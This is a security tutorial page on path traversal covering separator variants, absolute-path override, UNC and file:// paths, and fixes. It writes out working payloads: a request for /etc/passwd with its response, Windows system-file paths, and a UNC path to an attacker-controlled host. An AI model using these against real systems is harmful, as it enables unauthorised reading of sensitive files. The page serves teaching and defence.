Traversal Sequences and Absolute Paths

Not every target is a Linux box honoring forward slashes, and not every app forces you to climb at all. This page covers the separator variations (including Windows backslashes and mixing), and the cases where an absolute path beats traversal entirely. Practice on a free live target.

Forward slash vs backslash

The separator depends on the operating system:

../          Unix: one level up (backslash is NOT a separator on Unix)
..\          Windows: one level up
../  ..\     Windows: BOTH work, and you can mix them in one payload

On Linux, use forward slashes, since a backslash is just a filename character and will not climb. On Windows, both separators work at the OS level, so ..\..\..\windows\win.ini and ../../../windows/win.ini both traverse, and a mixed ..\../..\ is fine too. Mixing is sometimes useful against a filter that only looks for one separator style.

Absolute paths: skip the climb

Often you do not need to climb at all. Many path-joining routines (Python os.path.join, Node path.join, Java Paths.get), when handed an absolute path, discard the base directory and use the absolute path directly. Note this needs a real join function: naive string concatenation like base + input does NOT get overridden, because a leading slash just produces a harmless double slash inside the base. If the app uses a join, submit the full path with no ../:

GET /download?file=/etc/passwd HTTP/1.1
Host: target.example

HTTP/1.1 200 OK
Content-Type: text/plain
 
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

No traversal sequences at all. This is shorter, and it sidesteps any filter that only looks for ... Windows equivalents:

C:\windows\win.ini
C:/windows/system32/drivers/etc/hosts        forward slashes work on Windows too

UNC paths on Windows

Windows also resolves UNC paths (double-backslash host and share), which can reach a remote share you control or an internal one:

\\attacker-host\share\file
\\127.0.0.1\c$\windows\win.ini

A file:// scheme prefix is worth trying against loaders that accept URLs:

file:///etc/passwd

Step through it

Determine the OS (error strings, server headers, the read-confirm file that works), then:

1. Use the matching separator, and on Windows try mixing.
2. Try the bare absolute path, in case the base directory is ignored.
3. Compare which form returns contents, which tells you how the server joins and resolves the path.

Normalization quirks

Paths get normalized at several layers (the web server, the language runtime, the OS), and the quirks are worth knowing: trailing slashes and dots may be trimmed, // often collapses to /, and a leading / can reset the path. These same quirks power the filter bypasses in the next spoke, where a server strips ../ but the normalizer reassembles it.

Fixing it

• Canonicalize before use and verify the result is inside the base directory, which neutralizes both ../ and absolute-path override.
• Reject absolute paths and separators in the filename if you expect a bare name.
• Do not hand user input to a path-join that treats absolute input as authoritative.

Full guidance is in preventing path traversal. Next, defeat a server that filters ../ in bypassing filters, or try absolute paths on a free lab.